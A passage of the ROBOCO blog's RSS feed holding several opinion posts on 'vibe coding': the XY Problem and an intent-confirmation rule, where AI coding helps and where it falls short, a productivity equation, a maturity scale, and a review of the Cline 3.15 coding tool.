<p>Have you ever heard of the XY Problem? Put simply, it&rsquo;s the phenomenon of leaving the real problem (X) untouched while fixating on a solution (Y) you&rsquo;ve arbitrarily assumed. Here&rsquo;s an example. Your car won&rsquo;t start, and without properly checking anything, you jump to the conclusion that it&rsquo;s the battery and ask, &ldquo;How do I hook up the jumper cables?&rdquo; The real problem is that the car won&rsquo;t start, and while you have no idea whether it&rsquo;s the battery, whether you&rsquo;re out of fuel, or whether it&rsquo;s the electrical system, you&rsquo;re floundering around clinging to Y (connecting jumper cables).</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The XY Problem crops up easily in vibe coding too, with the AI clinging to the solution the user assumed rather than the real problem.</li>
<li>An instruction like &ldquo;make the test pass&rdquo; can be misread as editing the test rather than fixing the cause of the failure.</li>
<li>Putting an intent-confirmation step in your rules file gets the AI to ask about the goal before starting work, and cuts down on it heading off in the wrong direction.</li>
</ul>
<p>This XY Problem shows up in vibe coding fairly often. Vibe coding works by a person giving instructions to an AI, and the AI understanding them and carrying out the work. The trouble is that the instructions people give aren&rsquo;t always clear. As a result, the AI sometimes misreads the intent and wanders off down the wrong path. Let&rsquo;s look at an example.</p>
<p>&ldquo;The tests are failing — fix them, would you?&rdquo;</p>
<p>What if the AI hears this and, instead of actually finding out why the tests are failing, just blindly edits the test code to make them pass? That&rsquo;s when things start to unravel. Passing the tests was never the goal; correcting the cause of the failure is the whole point.</p>
<p>Why does this happen? Because AI is fundamentally trained to &ldquo;infer intent&rdquo; for the user&rsquo;s convenience. That&rsquo;s what lets it handle things impressively well from just a brief remark — but it also means that, faced with an imprecise instruction, it sometimes takes off in a direction of its own choosing, and an accident happens.</p>
<p>Still, how tedious would it be to explain every last detail to the AI for every single task, or to leave it constantly asking you questions? That&rsquo;s why the smartest way to handle the XY Problem in vibe coding is to add a process to your rules file that confirms the AI has correctly understood your intent.</p>
<p>With this in place, the AI double-checks whether it has fully grasped the user&rsquo;s intent before carrying out an instruction, and asks again when it isn&rsquo;t sure. Below is a simple example of such a rule.</p>
<pre tabindex="0"><code>Rule: Confirm the clarity of the task&#39;s intent

- When the AI receives an instruction from the user, it summarizes the core intent of the instruction and asks the user to confirm it before starting work.
- If the user confirms, it proceeds with the work; if not, it asks again to clarify the exact intent.

Example:

User: &#34;Fix the failing tests in the build.&#34;

AI: &#34;To confirm: rather than modifying the test code itself to make the build pass, you want me to find the cause of the failure and correct the error in the original code so the tests pass — is that right?&#34;

User: &#34;Yes. Go ahead.&#34;
</code></pre><p>Just doing this can dramatically reduce trouble related to the XY Problem. Misunderstandings between people and AI, along with the trial and error of going down the wrong path, will be minimized as well. I always emphasize approaching vibe coding with the mindset that you&rsquo;re pair programming with the AI. And so the core strategy behind the vibe coding we pursue at ROBOCO is this: <strong>how can we convey our &ldquo;intent&rdquo; clearly with the least possible effort?</strong></p>
]]></content>
        </item>
        
        <item>
            <title>The Strengths and Weaknesses of Vibe Coding</title>
            <link>https://roboco.io/en/posts/vibe-coding-strengths-and-weaknesses/</link>
            <pubDate>Mon, 02 Jun 2025 10:40:26 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-strengths-and-weaknesses/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As I noted in my earlier &lt;a href=&#34;https://roboco.io/en/posts/vibe-coding-productivity/&#34;&gt;post on the productivity of vibe coding&lt;/a&gt;, that productivity hinges on two factors. The first is human productivity — the developer&amp;rsquo;s ability to solve problems and analyze them. The second is the productivity of the tools and processes that complement and amplify that ability. Productivity here does not mean simply writing code fast. It covers the whole range of competence involved in making a plan, analyzing a problem, and finding a solution.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>As I noted in my earlier <a href="/en/posts/vibe-coding-productivity/">post on the productivity of vibe coding</a>, that productivity hinges on two factors. The first is human productivity — the developer&rsquo;s ability to solve problems and analyze them. The second is the productivity of the tools and processes that complement and amplify that ability. Productivity here does not mean simply writing code fast. It covers the whole range of competence involved in making a plan, analyzing a problem, and finding a solution.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The productivity of vibe coding depends not only on the capability of the AI tool but heavily on the developer&rsquo;s analytical skill and ability to design the work.</li>
<li>It shines on tasks with a clear specification, on porting work, and on script-like tasks where inputs and outputs are well defined.</li>
<li>Where it is unclear what should be built, or where the context is complex, human judgment and deliberate scoping still matter.</li>
</ul>
<p>Across a number of real projects I have worked through, I ended up empirically sorting the tasks vibe coding handles well from the ones it does not. With any kind of work, knowing what a tool is good at and what it is bad at is what matters. Put another way, using a tool well requires knowing its character.</p>
<p>Let us start with the tasks vibe coding is unusually good at.</p>
<p>First, tasks with a clearly defined specification. Even when the vibe coder does not know every last detail, if the content of the work and the order of the steps are well documented, the AI produces astonishingly accurate results. Clear documentation is the key that draws out the AI&rsquo;s full capability.</p>
<p>Second, porting work. If a project has already been completed in another language, on another platform, or in another framework, that code itself serves as a perfect specification. The AI can reference the existing code and carry out the port quickly and to a high standard. If the existing project is short on automated tests, it works far more accurately and efficiently to have the AI generate unit tests (UT), integration tests (IT), and end-to-end tests (E2E) first, then apply them to the target project of the port.</p>
<p>Third, simple scripts and utility work. When inputs and outputs are clearly fixed, the AI gets the job done at what feels like the speed of light. Even for one-off work, adopting test-driven development (TDD) lets you move fast while raising reliability.</p>
<p>Not everything is that simple, though. There are also tasks vibe coding does poorly.</p>
<p>First, tasks where it is unclear what should be built. This comes up often in software development: work where the specification has to be refined incrementally through the act of implementing it. DevOps tooling and complex workflow design are examples. For work like this, the smart move is to simulate various scenarios through conversation with a chat-based AI service such as ChatGPT, settle on a direction, and only then implement.</p>
<p>Second, tasks carrying complex context. A monolithic architecture with a complicated relational database, in particular, has context so vast and tangled that even a human can easily get lost in it. Ideally you would break the work apart into microservices, but that is often impractical. In such cases, one option is to use prompt engineering to limit the size of the context the AI has to handle — selecting only the documents or code relevant to each task and supplying them as a rules file. It does mean the tedium of updating the rules dynamically for every task, but with the recent arrival of tools like <a href="https://www.task-master.dev/">TaskMaster AI</a> and <a href="https://github.com/bmadcode/BMAD-METHOD">BMAD-METHOD</a>, even this part is becoming automatable.</p>
<p>Using vibe coding effectively, then, ultimately comes down to AI and human understanding and exploiting each other&rsquo;s strengths and weaknesses. On clearly defined tasks, the AI&rsquo;s speed and accuracy shine; on complex, ambiguous ones, human judgment and analysis still matter.</p>
<p>Even at this very moment, vibe coders around the world are experimenting nonstop. The tasks that vibe coding can already build are being built, and for the complex problems it cannot yet solve, the attempts keep coming. The tool may have limits, but there is no limit to the creativity and daring of the humans who wield it.</p>
]]></content>
        </item>
        
        <item>
            <title>AI, Become My Teammate!</title>
            <link>https://roboco.io/en/posts/ai-be-my-nakama/</link>
            <pubDate>Sun, 25 May 2025 07:30:47 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/ai-be-my-nakama/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;On May 23, Anthropic released Claude 4 — just three months after Claude 3.7 went public. OpenAI&amp;rsquo;s release cycle is getting shorter too. And it isn&amp;rsquo;t only the models that are speeding up. So where does all this extraordinary productivity come from?&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vibe coding can be understood as a productivity amplifier that lets small teams deliver outsized results.&lt;/li&gt;
&lt;li&gt;Treat AI purely as a threat and you end up dragged along by change; make it a teammate and it expands what developers and organizations can do.&lt;/li&gt;
&lt;li&gt;For companies, vibe coding is shifting from an optional experiment to something closer to a survival strategy.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/SmallTeamsAreTheFuture.png&#34;&gt;
&lt;/figure&gt;

&lt;p&gt;Cursor.ai, which recently stunned the industry, reached $100 million in annual recurring revenue (ARR) in just 21 months with a team of 20, and is now valued at $9 billion (roughly ₩13 trillion). Bolt.new and Lovable, each with a team of 15, posted $20 million and $10 million in ARR respectively in only two months. Midjourney, famous for its image generation AI, hit $200 million in ARR in two years with just 10 people. Mercor (30 people), ElevenLabs (50 people), and Aragon.ai (9 people) are putting up similar numbers.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>On May 23, Anthropic released Claude 4 — just three months after Claude 3.7 went public. OpenAI&rsquo;s release cycle is getting shorter too. And it isn&rsquo;t only the models that are speeding up. So where does all this extraordinary productivity come from?</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Vibe coding can be understood as a productivity amplifier that lets small teams deliver outsized results.</li>
<li>Treat AI purely as a threat and you end up dragged along by change; make it a teammate and it expands what developers and organizations can do.</li>
<li>For companies, vibe coding is shifting from an optional experiment to something closer to a survival strategy.</li>
</ul>
<figure><img src="/posts/images/SmallTeamsAreTheFuture.png">
</figure>

<p>Cursor.ai, which recently stunned the industry, reached $100 million in annual recurring revenue (ARR) in just 21 months with a team of 20, and is now valued at $9 billion (roughly ₩13 trillion). Bolt.new and Lovable, each with a team of 15, posted $20 million and $10 million in ARR respectively in only two months. Midjourney, famous for its image generation AI, hit $200 million in ARR in two years with just 10 people. Mercor (30 people), ElevenLabs (50 people), and Aragon.ai (9 people) are putting up similar numbers.</p>
<p>These companies did not succeed because they got lucky, because they were exceptionally good at one particular thing, or because they locked down a patent nobody else had. They succeeded because their products outclass the competition on every dimension while continuing to hold or widen that gap. And their competitors are the famous global big tech firms — the ones with tens or hundreds of thousands of employees who write trillion-won investment checks without blinking!</p>
<p>I believe this kind of innovation is precisely the result of vibe coding. Vibe coding is a way of building software rapidly through natural language, making aggressive use of AI models. Used well, it lets a handful of people handle far more work, which dramatically cuts intra-team communication overhead while sustaining high productivity and quality.</p>
<p>At companies that have adopted vibe coding, developers can also get deeply involved in product design. As the development burden drops, a single person can take on the roles of multiple developers, a manager, and a product planner all at once.</p>
<figure><img src="/posts/images/run-from-ai.png"><figcaption>
      <h4>The threat from AI is now real</h4>
    </figcaption>
</figure>

<p>Non-tech companies, meanwhile, are often unaware that a change of this magnitude has even arrived. The situation at tech companies isn&rsquo;t dramatically different. Business Insider reported that around June 2024, AWS chief Matt Garman told employees that &ldquo;there&rsquo;s a chance most developers will not be coding 24 months from now.&rdquo; I think that remark was far too complacent an optimism. By that point, Cursor was already spreading fast among developers by word of mouth.</p>
<p>It isn&rsquo;t only tech companies: every incumbent is about to face a serious threat from startups wielding vibe coding as a weapon. If you view AI as nothing more than a threat, the survival window for both companies and developers gets very short. If you liken the threat of AI to fleeing a predator, you might figure that you only need to run faster than the person next to you to avoid being eaten. But that is merely buying time — it does not change the fact that you are eventually going to be caught.</p>
<p>But what if you got on AI&rsquo;s side instead? AI can be a tool that amplifies your own abilities — not just for developers, but in every role.</p>
<p>Vibe coding is no longer optional. It is an essential strategy for survival.</p>
<figure><img src="/posts/images/ai-be-my-nakama.png"><figcaption>
      <h4>I asked an AI to draw a robot that had become a developer&#39;s dependable teammate, and it threw in a cat I never asked for. Of course — a developer&#39;s true companion is a cat!</h4>
    </figcaption>
</figure>

]]></content>
        </item>
        
        <item>
            <title>The Vibe Coding Productivity Equation</title>
            <link>https://roboco.io/en/posts/vibe-coding-productivity/</link>
            <pubDate>Wed, 21 May 2025 08:56:24 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-productivity/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I often get this question from developers: &amp;ldquo;This is how I develop — does that count as vibe coding?&amp;rdquo; It leaves me rather baffled. Why are Koreans in particular so fond of measuring themselves against a standard, almost like religious fundamentalists? What matters is not whether you are doing vibe coding correctly, but &lt;strong&gt;how much vibe coding actually improves your productivity&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;There is another question I hear often: &amp;ldquo;Can you really do vibe coding without knowing any programming at all?&amp;rdquo; That is exactly what I want to talk about today.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>I often get this question from developers: &ldquo;This is how I develop — does that count as vibe coding?&rdquo; It leaves me rather baffled. Why are Koreans in particular so fond of measuring themselves against a standard, almost like religious fundamentalists? What matters is not whether you are doing vibe coding correctly, but <strong>how much vibe coding actually improves your productivity</strong>.</p>
<p>There is another question I hear often: &ldquo;Can you really do vibe coding without knowing any programming at all?&rdquo; That is exactly what I want to talk about today.</p>
<p>Vibe coding is simply a convenient umbrella term for the activity of using AI to generate code from natural language. There is no particular rule saying &ldquo;this is what true vibe coding is,&rdquo; and there is no need for one. What matters is not the form but the outcome: whether your productivity actually went up.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The important question in vibe coding is not about form, but about how much productivity actually improved.</li>
<li>Productivity is produced jointly by the developer&rsquo;s ability to define problems, the amplifying effect of tools and processes, and the performance of the AI itself.</li>
<li>Non-developers can get some help from it, but sustained results grow when you improve capability and process together.</li>
</ul>
<p>At this point, let me propose the following productivity equation for vibe coding.</p>
<h1 id="p--x--y--z">P = x * y + z</h1>
<ul>
<li>P: total productivity</li>
<li>x: the baseline productivity a developer can deliver. The productivity of an average developer is the baseline of 1. Of course, depending on the person, it can be below 1 — or even negative.</li>
<li>y: the productivity the tools and processes in use can deliver. If you are vibe coding and productivity is still low, that means the tools or processes are a mess and need improving.</li>
<li>z: the productivity AI can deliver on its own. Even without a developer, AI alone can produce a certain amount of output, but this value depends entirely on the AI&rsquo;s performance.</li>
</ul>
<p>There are three points I want to emphasize with this equation.</p>
<p>First, it is partly true that this lets non-developers do development, but the scope and level are limited. Because you have to rely entirely on the AI (z), that value ultimately cannot exceed what the model or tool provides. Even if you cannot code, if you can clearly describe how the product or service you want to build should behave — that is, if you can write a clear requirements specification — you can add something to the developer&rsquo;s productivity (x). Recently, though, if you have even a basic grounding in software engineering, it has become possible to write a requirements specification above a certain level with the help of AI.</p>
<p>Second, the essence of vibe coding ultimately lies in amplifying developer productivity. So if you want to raise productivity, the most effective strategy is to grow your own ability (x) or adopt better tools and processes (y). Your own ability here does not mean the ability to produce code as a software developer. It means the ability, as a problem solver, to clearly recognize and define a problem and propose an appropriate solution for it. In vibe coding, as long as you plan well, you can offload the concrete execution to the AI.</p>
<p>Third, tools and processes matter too. Using tools or processes that do not fit your development style can actually lower productivity. Depending on which model, which tools, and which processes you use, not only productivity but also the scope and level of what you can build changes dramatically. In addition, in the early days of adopting vibe coding, you may see a J-curve dip in productivity. That said, appropriate training can shorten the period of declining productivity.</p>
<p>In conclusion, the <a href="/en/posts/vibe-coding-scale">L4 vibe coding</a> that we aim for at ROBOCO is not a cure-all. It is not magic — it is simply one development approach that maximizes the developer&rsquo;s capability and the power of the tools. So to improve productivity, focus on improving your tools and processes along with the developer&rsquo;s capability.</p>
]]></content>
        </item>
        
        <item>
            <title>A Vibe Coding Maturity Scale</title>
            <link>https://roboco.io/en/posts/vibe-coding-scale/</link>
            <pubDate>Fri, 16 May 2025 09:06:12 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-scale/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;These days there is a sharp increase in developers posting about their vibe coding experiences on developer social media and community sites, talking about how convenient and enjoyable coding alongside AI is. But when you actually look at what they describe, the level of experience packed under the single term &amp;ldquo;vibe coding&amp;rdquo; varies enormously. Some are amazed by simple autocomplete; others have gone all the way to designing and operating an entire service together with AI. From here on, I will lay out a maturity scale for vibe coding based on my own criteria.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>These days there is a sharp increase in developers posting about their vibe coding experiences on developer social media and community sites, talking about how convenient and enjoyable coding alongside AI is. But when you actually look at what they describe, the level of experience packed under the single term &ldquo;vibe coding&rdquo; varies enormously. Some are amazed by simple autocomplete; others have gone all the way to designing and operating an entire service together with AI. From here on, I will lay out a maturity scale for vibe coding based on my own criteria.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Vibe coding is not a single level; it spans several stages, from autocomplete all the way to business-goal-driven automation.</li>
<li>The higher the stage, the more developers focus on requirements, design, review, and decision-making rather than writing code themselves.</li>
<li>Think of this scale as a reference point for checking where you are now and moving to the next stage.</li>
</ul>
<h3 id="level-1---simple-assistant-code-prediction">Level 1 - Simple Assistant (Code Prediction)</h3>
<p>Level 1 is the &ldquo;simple assistant&rdquo; level. Tools such as GitHub Copilot are the representative example. This is autocompletion of the code you are about to write next, at roughly the function level. It is convenient, but the flow and design of the code are still entirely up to the developer. In truth, even this much, used well, can bring an enormous productivity gain to an experienced developer.</p>
<h3 id="level-2---file-level-completion-script-automation">Level 2 - File-Level Completion (Script Automation)</h3>
<p>Level 2 is the &ldquo;file-level completion&rdquo; level. AI does a fairly convincing job of finishing simple scripts or utility-type work. This is the level where repetitive work or simple automation scripts can be handled quickly with AI&rsquo;s help. At this stage, the developer looks over the whole of the code and only needs to make small corrections.</p>
<h3 id="level-3---modular-integration">Level 3 - Modular Integration</h3>
<p>From Level 3, things change noticeably. This is &ldquo;modular integration.&rdquo; AI now proposes independent features or modules spanning multiple files, taking design patterns and principles into account to some degree. The user then integrates and maintains the resulting module in the project. You get output that reflects basic software design principles such as SOLID or clean architecture to a reasonable extent.</p>
<h3 id="level-4---project-level-orchestration">Level 4 - Project-Level Orchestration</h3>
<p>Level 4 is &ldquo;project-level orchestration.&rdquo; At this level, AI broadly supports the whole flow of a project — not just coding, but design, architecture, refactoring, testing, deployment automation, and more. The developer&rsquo;s work simplifies down to conveying requirements clearly, reviewing the output, and selecting and managing the code the AI produces. Because AI understands complex context to a reasonable degree, this is the stage where the developer&rsquo;s role gradually shifts toward management and oversight.</p>
<h3 id="level-5---business-goal-driven-automation">Level 5 - Business Goal-Driven Automation</h3>
<p>The final level, Level 5, is &ldquo;business goal-driven automation.&rdquo; Once you reach this level, AI understands not just the technical implementation but the service&rsquo;s business goals and operating environment as well. The developer focuses on setting requirements and business goals rather than on technical implementation. AI handles a substantial share of operational management — performance optimization, incident response — automatically, in addition to technical implementation and deployment. The developer only needs to focus on business strategy and key decisions.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The higher the level, the less technical ground the developer has to manage and the more business ground they take on. Problem definition, problem-solving, and decision-making in the business domain also become more efficient with AI&rsquo;s help. Within the next few years, cases where developers touch code directly will shrink dramatically or nearly disappear. What senior developers do today will become the norm.</p>
<p>Vibe coding is no longer merely a tool; it has become a major current that is changing the way we develop software itself. Not everyone, however, uses vibe coding in the same way or at the same level. I hope this piece serves as a small signpost for gauging your own maturity and moving on to the next stage.</p>
]]></content>
        </item>
        
        <item>
            <title>Cline Is Getting Serious</title>
            <link>https://roboco.io/en/posts/cline3.15-released/</link>
            <pubDate>Thu, 15 May 2025 08:08:46 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/cline3.15-released/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cline is carving out a bigger place in the vibe coding tool market on the strength of being open source, supporting BYOM, and holding up on large projects.&lt;/li&gt;
&lt;li&gt;The headline of version 3.15 is that diff-based editing and AST-based analysis make work on big files and big codebases far more efficient.&lt;/li&gt;
&lt;li&gt;Plan/Act modes and broad model support let developers tune cost, reliability, and control all at once.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;why-is-cline-back-in-the-spotlight&#34;&gt;&lt;strong&gt;Why Is Cline Back in the Spotlight?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;The AI development tool market is a free-for-all, with new tools pouring out every month. Amid the fierce competition between well-known contenders such as GitHub Copilot, Cursor, Windsurf, Claude Code, and Amazon Q Developer, &lt;a href=&#34;https://github.com/cline/cline&#34;&gt;Cline&lt;/a&gt; has been steadily growing its presence. Cline actually drew attention by taking a distinctly different path from other vibe coding tools. Being open source, it is not a tool people pick simply because it is free. Cline holds up robustly even on complex, large-scale projects. It is also one of the few vibe coding tools that supports BYOM (Bring Your Own Model), which matters in environments where data security and sovereignty constrain what tools can be used. Leading with these strengths, Cline quickly joined the ranks of mainstream vibe coding tools.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cline is carving out a bigger place in the vibe coding tool market on the strength of being open source, supporting BYOM, and holding up on large projects.</li>
<li>The headline of version 3.15 is that diff-based editing and AST-based analysis make work on big files and big codebases far more efficient.</li>
<li>Plan/Act modes and broad model support let developers tune cost, reliability, and control all at once.</li>
</ul>
<h2 id="why-is-cline-back-in-the-spotlight"><strong>Why Is Cline Back in the Spotlight?</strong></h2>
<p>The AI development tool market is a free-for-all, with new tools pouring out every month. Amid the fierce competition between well-known contenders such as GitHub Copilot, Cursor, Windsurf, Claude Code, and Amazon Q Developer, <a href="https://github.com/cline/cline">Cline</a> has been steadily growing its presence. Cline actually drew attention by taking a distinctly different path from other vibe coding tools. Being open source, it is not a tool people pick simply because it is free. Cline holds up robustly even on complex, large-scale projects. It is also one of the few vibe coding tools that supports BYOM (Bring Your Own Model), which matters in environments where data security and sovereignty constrain what tools can be used. Leading with these strengths, Cline quickly joined the ranks of mainstream vibe coding tools.</p>
<h2 id="the-breakthrough-improvements-in-version-315"><strong>The Breakthrough Improvements in Version 3.15</strong></h2>
<p>With the 3.15 update released on May 10, 2024, Cline became far more effective at handling large codebases. In earlier versions in particular, editing a big file meant rewriting the entire file, which frequently caused unnecessary cost and errors. The text-based diff-based editing introduced in this update pinpoints and modifies only the parts that need to change, substantially improving both efficiency and accuracy. The update also uses AST (abstract syntax tree) analysis to strengthen the tool&rsquo;s structural understanding of code, making it possible to extract the information it needs very efficiently even from large codebases.</p>
<h2 id="maximizing-efficiency-and-reliability-with-planact-modes"><strong>Maximizing Efficiency and Reliability with Plan/Act Modes</strong></h2>
<p>Cline&rsquo;s Plan/Act modes are an innovative approach that raises efficiency and reliability by cleanly separating design from execution. In Plan mode, the AI explores the codebase and builds a concrete plan for the work ahead without touching any actual code, so the developer can review its proposals and strategy transparently. Once the plan is approved, Act mode carries out the concrete work such as code changes, and throughout that process the user can watch each step in real time and intervene where needed, giving them far more effective control over the whole thing. Notably, you can configure the optimal AI model separately for each mode to maximize cost efficiency, and this is widely regarded as one of Cline&rsquo;s distinctive advantages.</p>
<h2 id="flexible-integration-with-a-wide-range-of-ai-models"><strong>Flexible Integration with a Wide Range of AI Models</strong></h2>
<p>And that is not all. Cline now integrates with a wider range of models so developers can work freely in whatever environment they prefer. AI models hosted on a local machine are supported, as are models in private tenancy environments such as AWS Bedrock. Through Cline, users can pick and connect as many of the latest models as they like, including Claude 3.7 Sonnet and Google Gemini 2.5. That flexibility is a Cline-only differentiator you will not easily find in other coding tools.</p>
<h2 id="finding-the-balance-between-cost-and-value"><strong>Finding the Balance Between Cost and Value</strong></h2>
<p>That said, not everything is perfect. Version 3.15 improved a great deal, but the higher model usage cost compared with competing tools remains an unsolved problem. The high-performance models Cline relies on carry substantial per-API-call costs. In practice, a long and complex task can run to several dollars, which can be a real burden for heavy users. Yet cost alone is not a fair measure of Cline&rsquo;s value. Most developers judge that the costs incurred are entirely reasonable given the efficiency and convenience Cline delivers. Many point out that, precisely because it is open source, there are no additional license fees and you pay only for what you use, which is arguably fairer and more economical.</p>
<h2 id="a-new-paradigm-for-pair-programming"><strong>A New Paradigm for Pair Programming</strong></h2>
<p>In the end, the reason Cline is getting attention is not simply cost efficiency or performance. Cline drives the work through real-time interaction between the developer and the AI, creating an environment where the developer collaborates with the AI much like pair programming. This is fundamentally different from the one-off, limited help that traditional code completion tools provide. Developers can now sit in the passenger seat with the AI, set the direction themselves, and steer the work precisely where they want it to go.</p>
<h2 id="an-opening-shot-for-the-future-of-development-environments"><strong>An Opening Shot for the Future of Development Environments</strong></h2>
<p>Cline&rsquo;s arrival and rapid evolution in the AI development tool market is an opening shot that signals what development environments will look like from here. It is a welcome change: Cline helps developers stop drowning in repetitive coding work so they can focus on creative planning and problem solving. There has never been a better time to pay attention to Cline.</p>
]]></content>
        </item>
        
        <item>
            <title>The Art of Vibe Coding</title>
            <link>https://roboco.io/en/posts/the-art-of-vibe-coding/</link>
            <pubDate>Sun, 04 May 2025 11:59:09 -0700</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/the-art-of-vibe-coding/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Have you ever heard the term vibe coding? It didn&amp;rsquo;t start out as a compliment. It was used with a hint of sarcasm to describe developers who wrote code relying only on intuition and feel, often ignoring rigorous structure or rules. Interestingly, though, it has recently come to be associated with generating code through prompts alone using artificial intelligence (AI) — large language models (LLMs) in particular. Of course, you can write perfectly exemplary, maintainable code even when using an LLM. And if you get code that works well on the first try, without a cycle of trial and error, that means vibe coding did its job — and that you genuinely understand what AI-driven development is about.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Have you ever heard the term vibe coding? It didn&rsquo;t start out as a compliment. It was used with a hint of sarcasm to describe developers who wrote code relying only on intuition and feel, often ignoring rigorous structure or rules. Interestingly, though, it has recently come to be associated with generating code through prompts alone using artificial intelligence (AI) — large language models (LLMs) in particular. Of course, you can write perfectly exemplary, maintainable code even when using an LLM. And if you get code that works well on the first try, without a cycle of trial and error, that means vibe coding did its job — and that you genuinely understand what AI-driven development is about.</p>
<p>I sometimes hear the question, &ldquo;Isn&rsquo;t AI coding basically the same as a compiler?&rdquo; On the surface, that&rsquo;s true. Just as a compiler turns code into machine language, an LLM turns a natural language prompt into code. But that&rsquo;s where the resemblance ends. The biggest difference is determinism. A compiler always produces the same output for the same input, whereas an LLM can produce subtly — or completely — different output for the same input. Feed it an incomplete prompt, or one with no context, and you may get something entirely off the mark. Code is an unambiguous language, but human language is not. That&rsquo;s why an LLM always has to &ldquo;guess&rdquo; at your intent.</p>
<p>So how can you trust a tool that is this nondeterministic? The answer looks a lot like how we come to trust other probabilistic systems: the concept of convergence. Think of simulated annealing, which allows randomness while gradually narrowing the search for an optimal solution. Stochastic gradient descent, used in machine learning, likewise converges probabilistically toward better and better results. Even we human developers vary in condition and output from day to day, yet good habits and good systems make us converge on trustworthy results. In other words, if you structure things so that the LLM converges on useful results rather than on perfection, it can absolutely be trusted.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Vibe coding isn&rsquo;t handing your code over to your gut; it&rsquo;s structuring things so that a nondeterministic LLM converges on useful results.</li>
<li>Trust doesn&rsquo;t come from eyeballing every line of code. It comes from turning automated verification — tests, linters, formatters — into a repeatable system.</li>
<li>Good inputs, small steps, and bold simplification determine the quality and maintainability of AI-driven development.</li>
</ul>
<p>Even setting aside grand topics like convergence, working with an LLM is miserable unless you automate the job of checking whether the generated code is correct. Many people say they can&rsquo;t trust LLM-generated code. As we just saw in comparing it to a compiler, that distrust is entirely natural. But why should human eyes be the ones verifying whether generated code is right? If, when using a technique like a genetic algorithm, you had to manually check whether every gene produced by crossover and mutation was actually valid, nobody would want to use it.</p>
<p>To get real value out of an LLM, you need to follow a few principles.</p>
<p>First, simplify boldly. LLMs often try to build overly complex structures. Delete unnecessary classes, abstractions, and complicated structures, and keep everything in its most minimal form. Simplification reduces the chance of errors and lets you spot problems quickly.</p>
<p>Second, work in small steps. Trying to solve everything at once will fail. Start by writing clear requirements, and unpack anything ambiguous with examples. Have it produce a design document if you need one, and review that document together. Taking it one step at a time this way reduces errors.</p>
